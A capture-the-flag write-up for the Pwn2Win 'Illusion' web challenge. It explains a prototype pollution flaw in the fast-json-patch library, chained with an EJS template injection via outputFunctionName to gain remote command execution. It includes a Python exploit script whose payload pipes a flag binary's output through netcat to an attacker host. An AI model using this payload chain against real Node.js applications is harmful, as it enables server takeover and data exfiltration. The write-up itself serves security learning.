Reading time: 8 minutes
This write-up aims to demonstrate a solution for the Illusion challenge. For the following reading, it is highly recommended previously understanding the concept of Prototype Pollution vulnerability.
Table of contents:
Resources: illusion.tar.gz and PoC.
FROM node:alpine
EXPOSE 1337
COPY flag.txt /root/flag.txt
COPY readflag /
RUN chmod 4755 /readflag
The important information here is readflag
binary. So we need to find a way to execute the readflag
binary on the server machine to get the flag.
const express = require('express')
const bodyParser = require('body-parser')
const jsonpatch = require('fast-json-patch')
const ejs = require('ejs')
const basicAuth = require('express-basic-auth')
const app = express()
/* Middlewares */
app.use(bodyParser.json())
app.use(basicAuth({
users: { "admin": process.env.SECRET || "admin" },
challenge: true
}))
The web application was developed in Node.JS and the content is being hosted through ExpressJS
framework. Also, there are two middlewares:
bodyParser.json
: It allows us to send a JSON file content.basicAuth
: All requests must be authenticated.let services = {
status: "online",
cameras: "online",
doors: "online",
dome: "online",
turrets: "online"
}
app.get("/", async (req, res) => {
const html = await ejs.renderFile(__dirname + "/templates/index.ejs", {services})
res.end(html)
})
The homepage only returns the content of index.ejs
template interpreted by ejs
library.
app.post("/change_status", (req, res) => {
let patch = []
Object.entries(req.body).forEach(([service, status]) => {
if (service === "status"){
res.status(400).end("Cannot change all services status")
return
}
patch.push({
"op": "replace",
"path": "/" + service,
"value": status
})
});
jsonpatch.applyPatch(services, patch)
if ("offline" in Object.values(services)){
services.status = "offline"
}
res.json(services)
}
The endpoint change_status
accepts a POST
request and expects a JSON file content. In the line 5
, the Object.entries
get the properties of the JSON file, which service
represents the property name and status
represents the content.
In the line 12
, the array patch
pushes an object based on the service and status provided by the request data. In the line 19
, the function applyPatch
is called based on the services and the array updated before.
With all information from the source code and our goal to execute OS commands on the server, the app is working with JSON files and we might guess that something related to Prototype Pollution
vulnerability can be exploitable. Therefore, the line 19
is the only that looks promising for this guessing. So we have to look at the source code of fast-json-patch
library and analyze what the applyPatch
function does.
Before, we can search for some vulnerabilities in this library. Looking at the PRs on GitHub repository, we can find a Prototype Pollution
vulnerability reported by Alejandro Romero (alromh87) through Huntr platform, which was not patched yet.
We already have the payload to exploit Prototype Pollution
provided by the disclosure, but let’s look at how this vulnerability happens.
Payload:
const fastjsonpatch = require('fast-json-patch');
const a = {};
const patch = [{op: "replace", path: "/constructor/prototype/polluted", value: "Yes! Its Polluted"}];
fastjsonpatch.applyPatch(a, patch);
function applyPatch(document, patch, validateOperation, mutateDocument, banPrototypeModifications) {
...
var results = new Array(patch.length);
for (var i = 0, length_1 = patch.length; i < length_1; i++) {
results[i] = applyOperation(document, patch[i], validateOperation, true, banPrototypeModifications, i);
document = results[i].newDocument;
}
results.newDocument = document;
return results;
}
Based on the payload, the parameter document
represents the empty object a
. Looking at the line 6
, the function applyOperation
is called, which our empty object a
is the first parameter and the single object inside the patch
array is the second parameter.
function applyOperation(document, operation, validateOperation, mutateDocument, banPrototypeModifications, index) {
...
if (operation.path === "") {
...
} else {
var path = operation.path || "";
var keys = path.split('/');
var obj = document;
var t = 1;
var len = keys.length;
...
while (true) {
key = keys[t];
t++;
if (...) {
...
} else {
...
if (t >= len) {
var returnValue = objOps[operation.op].call(operation, obj, key, document);
...
return returnValue;
}
}
obj = obj[key];
}
}
Now the payload makes sense. In the line 7
, our path /constructor/prototype/polluted
is split by /
and it stores the result into the keys
variable. The empty object a
now is referenced by obj
. The variable t
represents a counter for the while loop.
As the keys
array has 3 values, the while repeats 3 times. The else
statement is executed only in the last time, in other words, when key
variable represents the content polluted
.
In the line 23
, the objOps
represents all functions available to use. For our payload, operation.op
represents the string replace
. Thus, the replace function is finally called.
var objOps = {
...
,
replace: function (obj, key, document) {
var removed = obj[key];
obj[key] = this.value;
return { newDocument: document, removed: removed };
}
,
...
The behavior of the replace
function is shown above. The explanation of Prototype Pollution be exploitable is the fact of the replace function is based on the last object property provided. We can notice our payload /constructor/prototype/polluted
was split and became an array, like ["constructor", "prototype", "polluted"]
. Therefore, in the last step when the replace
function is called, the last object was the prototype
itself. Consequently, the applyOperation
function does something similar to: obj["constructor"]["prototype"]["polluted"] = "Yes! Its Polluted"
.
Briefly, Abstract Syntax Tree injection is a type of vulnerability in which is possible to inject AST in some context. In some cases, the impact of this vulnerability is the influence of the parsing or compiling process, which will lead to code execution. To know more about this, check the blog post out published by POSIX (it has great examples showing similar scenarios).
As we have a possibility to create any object property with Prototype Pollution, it is possible to change/create a property to influence the compiling process.
The template engines are great to explore AST injection. In our recon step, we noticed that the app is using the template engine ejs
when we make a GET request to homepage. Hence, we need to find where in the code is sensitive to this exploration based on ejs.renderFile
.
exports.renderFile = function () {
var args = Array.prototype.slice.call(arguments);
var filename = args.shift();
var cb;
var opts = {filename: filename};
var data;
var viewOpts;
...
if (args.length) {
data = args.shift();
}
...
return tryHandleCache(opts, data, cb);
}
function tryHandleCache(options, data, cb) {
return new exports.promiseImpl(function (resolve, reject) {
result = handleCache(options)(data);
resolve(result);
});
}
function handleCache(options, template) {
...
func = exports.compile(template, options);
...
}
exports.compile = function compile(template, opts) {
...
templ = new Template(template, opts);
return templ.compile();
};
Template.prototype = {
...
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
...
}
In the line 44
, it is shown which property can exist and influence the compiling process. Thus, the execution flow of ejs.renderFile
is:
Template
object and call its compiler.Now we need to use the Prototype Pollution to set the property outputFunctionName
with a content to execute arbitrary OS command. One possible payload can be:
"_; process.mainModule.require('child_process').execSync('<OS command>');//
.
The content executed by the compiler will look like: var _; process.mainModule.require('child_process').execSync('<OS command>');// = __append;' + '\n
To get the flag we need to remember all steps:
change_status
to exploit Prototype Pollution to set the object property outputFunctionName
.ejs.renderFile
.Remembering from the recon step, we can use the readflag
binary to get the flag. Once the target server has netcat
available, the command executed to receive the flag in our host can be: ./readflag | nc <HOST> <PORT> .
import requests
# Get user and password at "http://illusion.pwn2win.party:1337"
TARGET_URL = "http://illusion.pwn2win.party:<PORT instance>"
USER = ""
PASSWORD = ""
MY_HOST = ""
MY_PORT = ""
requests.post(TARGET_URL + '/change_status', json = {
"constructor/prototype/outputFunctionName": f"_; process.mainModule.require('child_process').execSync('./readflag | nc {MY_HOST} {MY_PORT}');//"
}, auth=(USER, PASSWORD)
)
requests.get(TARGET_URL, auth=(USER, PASSWORD))
For the Python script above to execute correctly, it is necessary to make a proof of work connecting at nc illusion.pwn2win.party 1337
. Then, you will receive an instance URL and the credentials to be able to make requests (remember the middleware from the recon step).
Now you only need to do some changes:
Flag: CTF-BR{d0nt_miX_pr0totyPe_pol1ution_w1th_a_t3mplat3_3ng1nE!}
If you have some questions or considerations about this write-up, comment on the tweet below. Thank you!
I just post a write-up for the Illusion web challenge of @Pwn2Win, trying to explain the prototype pollution and the AST injection. Check it outhttps://t.co/RHZf2SH3ZB#PrototypePollution #RCE #Pwn2Win #CTF
— Renan Rocha (@EffectRenan) May 30, 2021